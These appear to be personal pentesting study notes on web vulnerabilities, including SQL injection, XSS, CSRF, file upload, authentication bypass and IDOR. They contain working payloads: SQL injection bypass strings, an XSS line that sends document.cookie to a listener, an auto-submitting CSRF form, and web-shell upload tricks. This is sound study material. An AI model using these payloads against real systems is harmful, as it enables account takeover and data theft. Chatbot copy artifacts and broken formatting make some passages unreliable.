Set 1 - 1) Manual test for sql injection

Testing for SQL injection vulnerabilities involves carefully crafting input to observe how the application processes it. Here's how to manually test for SQL injection in common web app input fields:

1. Understand the Context
Objective: To check if the input is sanitized or passed directly to the database.
Risk: Testing on production environments could disrupt services or expose sensitive data.
Always have proper authorization to perform tests.
2. Begin with Basic Input
Start with simple SQL syntax to see if the input is being processed unsanitized:
' or ": These are used to break the SQL query.
Input examples:
test'
test"
Expected result: If the app is vulnerable, you may see:

SQL error messages (e.g., Syntax error in SQL statement).
Unexpected behavior (e.g., bypassing authentication or broken search results).
3. Test for Authentication Bypass
For login forms:

Use payloads like:
 ' OR '' = '
Insert them into the username or password field.
this will display all the data in databse

Log you in without a valid username/password.
Return admin-level access.
4. Test for Search Functionality
For search fields:

Enter SQL-specific inputs:
' UNION SELECT user, password FROM users--

time based:
' OR IF(1=1, SLEEP(5), 0) --

Set 1 - 2) Lack of HTTPs.

If you discover an endpoint that does not enforce HTTPS during a vulnerability assessment, the next step is to evaluate the potential impact and risks associated with this issue. Here's how you can proceed:

1. Identify the Nature of the Endpoint
Determine the purpose of the endpoint and the data it handles:
Does it handle sensitive information like login credentials, payment data, or personal details?
Is it used for transmitting API keys or session tokens?
2. Simulate a Man-in-the-Middle (MitM) Attack
To assess the risk of an unencrypted connection:

Intercept Traffic: Use tools like Burp Suite, Wireshark, or mitmproxy to capture the data transmitted over HTTP.
Analyze Traffic:
Check if sensitive information is transmitted in plaintext.
Look for session tokens, cookies, or PII (Personally Identifiable Information).
Impact: If sensitive data is exposed, an attacker could intercept it, leading to account compromise, identity theft, or further exploitation.

Set 2 - 1) File upload functionality

When encountering a file upload vulnerability during a penetration test, assessing the security of this feature involves evaluating how the application processes, validates, and stores uploaded files. Here’s a step-by-step guide:

1. Understand the Context
Identify the purpose of the file upload feature (e.g., profile picture, document submission).
Determine the potential impact of exploitation:
Can malicious files be uploaded?
Can these files execute code on the server or expose sensitive information?

Steps to Assess File Upload Security:
1)Identify Accepted File Types: Test file type restrictions using different extensions and MIME types (e.g., .php, .html, .jpg).
2)Bypass Client-Side Validation: Disable JavaScript or modify requests via tools like Burp Suite.
3)Test Server-Side Validation:

  .)Use double extensions (file.php.jpg).
  .)Modify Content-Type headers.
4)Check File Execution:
  .)Upload malicious files (e.g., PHP web shells) and see if they execute.
  .)Attempt direct access to uploaded files (e.g., /uploads/shell.php).
5)Test Path Manipulation: Use directory traversal in filenames (e.g., ../../shell.php).

Set 2 - 2) Authentication bypass

Testing for authentication bypass involves evaluating how a web application enforces user authentication and authorization. Here's how you can test for it and an example scenario:

Steps to Test for Authentication Bypass
Parameter Manipulation:

Modify URL parameters, form fields, or hidden inputs to access unauthorized pages.

http://example.com/dashboard?role=user
Change role=user to role=admin.
Cookie Tampering:

Inspect authentication cookies using browser developer tools or tools like Burp Suite.
Modify or forge cookies to escalate privileges.

Auth=eyJ1c2VyX3JvbGUiOiJ1c2VyIn0= (Base64-encoded cookie)
Change user to admin after decoding.

Add or modify headers like X-Forwarded-For, X-Original-URL, or X-Custom-Role to bypass authentication.

X-Authenticated-User: admin

Set 3 - 1) XSS reflective

for checking vulerability
<script>alert(1)</script>

payload we use to test
on kali terminal use script python -m http.server 1337

then payload will use
<script>window.location='http://127.0.0.1:1337/?cookie=' + document.cookie</script>

Set 3 - 2) Forgotten admin page

1) Manual Testing
Input Validation:

Test input fields for SQL injection, XSS, and other injection vulnerabilities. Use payloads like:
SQL Injection: ' OR '' = '
XSS: <script>alert('XSS')</script>
2)Authentication Bypass:

Check if the admin page can be accessed without authentication. If authentication is required, test for bypasses using common techniques like:
Default credentials
SQL injection in login forms
Brute force attacks

3)Access Control:

Try accessing the admin page with different user roles or permissions to see if access can be escalated.

5. Advanced Techniques
File Upload Vulnerabilities:

If the admin page allows file uploads, test for vulnerabilities like remote code execution (RCE) by uploading malicious files.

CSRF (Cross-Site Request Forgery):

Test for CSRF vulnerabilities by crafting malicious requests that exploit trusted user sessions.

sSession Management:

Analyze session management to check for vulnerabilities like session fixation, session hijacking, or insecure session cookies.

Set 4 - 1) Exposed API endpoint

Steps to Assess the Risk
1. Understand the Endpoint Functionality
.)Inspect the endpoint’s URL, parameters, and HTTP methods (GET, POST, PUT, DELETE).
.)Use tools like Burp Suite, Postman, or cURL to send requests.
.)Identify the purpose of the API (e.g., data retrieval, user actions, admin functions).

2. Enumerate Sensitive Data Exposure
.)Test for sensitive data returned in responses:
.)User data (e.g., names, emails, phone numbers).
.)Financial data (e.g., credit card info, transactions).
.)System data (e.g., server configs, tokens).
Example:
GET /api/v1/users

Check if it returns a list of all users.

3. Check for Privileged Actions
.)Test HTTP methods to see if you can perform unauthorized actions:
GET: Retrieve sensitive data.
POST: Create new resources or users.
PUT/PATCH: Update existing resources.
DELETE: Remove data or resources.
Example:
DELETE /api/v1/users/123
If it deletes a user without authentication, it’s a critical issue.

Set 4 - 2) CSRF

Steps to Test for CSRF Vulnerability (Short Version)

1. **Identify the Sensitive Action**:
   - Locate forms or endpoints (e.g., file uploads, record updates) that perform critical tasks.

2. **Intercept and Analyze the Request**:
   - Use tools like Burp Suite to inspect requests.
   - Check for anti-CSRF tokens in the request or headers.

3. **Craft a Malicious Request**:
   - Create a form or script that mimics the request without the anti-CSRF token.

4. **Host and Execute the Malicious Form**:
   - Host the form on an attacker-controlled site and open it while logged into the target app.
   - Example malicious form:
     ```html
     <form action="http://victim.com/upload" method="POST">
         <input type="hidden" name="file" value="malicious.txt">
         <input type="submit">
     </form>
     <script>document.forms[0].submit();</script>
     ```

5. **Check for Success**:
344
   - If the sensitive action executes without token validation, the endpoint is vulnerable.

Set 5 - 1) IDOR

Steps to Test IDOR for Different Resources (Short Version)

Identify Parameters:

Locate endpoints with IDs or resource identifiers (e.g., /files/123, /users/1).

Modify Identifiers:

Change the resource ID in the request to test access to unauthorized resources.

Example:

vbnet

Copy

Edit

```
Original: GET /files/123

Modified: GET /files/124
```

Testing for IDOR in File Access (Short Version)

Identify File Access Points:

Look for file-related endpoints (e.g., download links, uploads, or file previews).

Example:

bash

Copy

Edit

```
GET /files/12345/download
```

Modify the File Identifier:

Change the file ID or name in the request.

Example:

bash

Copy

Edit

Original: GET /files/12345/download

Modified: GET /files/12346/download

Observe the Response:

If the modified request allows unauthorized access to another user's file, the endpoint is vulnerable.

Test Different File Scenarios:

Public vs. Private Files: Try accessing files marked as private.

File Uploads: Modify identifiers for uploaded files.

Shared Links: Test whether shared links work without proper access controls.

Check Session Privileges:

Test as different users (e.g., a low-privileged user or no authentication) to verify the extent of unauthorized access.

Set 5 - 2) Sensitive information in URL

If sensitive data (e.g., session IDs, tokens, or personal data) is present in the URL, here’s how to assess the risk and potential impact:

Steps to Assess Sensitive Data in URLs

1. **Identify Sensitive Data in the URL**
   - Inspect if the URL contains:
     - Session tokens or API keys:
       ```
       ```

     https://example.com/dashboard?session_id=abc123
     ```
   - Personal identifiable information (PII):
     ```
     https://example.com/user?name=JohnDoe&email=john@example.com
     ```
   - Other confidential data like passwords or transaction details.

---

2. **Evaluate Data Exposure Risks**
  - **Browser History**: URLs are stored in browser history, exposing sensitive data.
  - **Referrer Header**:
    - Sensitive data in the URL can be leaked to third-party websites if the user clicks on external links.
    - Example:
     ```
     Referer: https://example.com/dashboard?session_id=abc123
     ```
  - **Server Logs**: URLs are logged on servers, exposing sensitive data in log files.
  - **Shared URLs**: If users share the URL, sensitive data is inadvertently exposed.

---

3. **Test for Exploitation Scenarios**
  - **Session Hijacking**:
    - Copy the session ID or token from the URL and use it in a new browser session.
    - If the session is successfully hijacked, it’s a critical vulnerability.
  - **CSRF Exploitation**:
    - Embed the sensitive URL into an attacker-controlled site to execute unauthorized actions.
  - **MITM Attacks**:
    - If the site uses HTTP, intercept the URL using a tool like Wireshark or Burp Suite to confirm exposure.

---

4. **Assess for XSS Risks**
  - If sensitive data is in the URL, test for reflected or DOM-based XSS:
    - Inject malicious payloads in the query parameters:
     ```
     https://example.com/profile?user=<script>alert(1)</script>
     ```

---
     ```

5. **Impact Analysis**
  - Determine the severity based on:
    - Type of data exposed (e.g., session tokens, PII, authentication keys).
    - Who can access it (e.g., logged users, third-party services).
    - Application sensitivity (e.g., financial, healthcare).

Example Exploit Scenarios
1. **Session Hijacking**:
  - URL: `https://example.com/dashboard?session_id=abc123`
  - Copy `session_id=abc123` and replay it in a new browser session to access another user's account.

2. **Referrer Leakage**:
  - Victim clicks an external link:
    ```
    <a href="http://attacker.com">Click here</a>
    ```
  - Attacker sees the full referrer with the sensitive URL:
    ```
    Referer: https://example.com/dashboard?session_id=abc123
    ```

Mitigation Recommendations
1. **Avoid Sensitive Data in URLs**:
  - Use `POST` requests and send sensitive data in the body or headers.
  - Replace sensitive query parameters with unique IDs stored server-side.

2. **Use Secure Cookies for Session Management**:
  - Store session tokens in `httpOnly` and `secure` cookies.

3. **Disable Referrer Sharing**:
  - Use the `Referrer-Policy` header:
    ```
    Referrer-Policy: no-referrer
    ```

4. **Enforce HTTPS**:
  - Prevent data leakage during transmission.

Would you like assistance in crafting specific proof-of-concept tests or a remediation plan?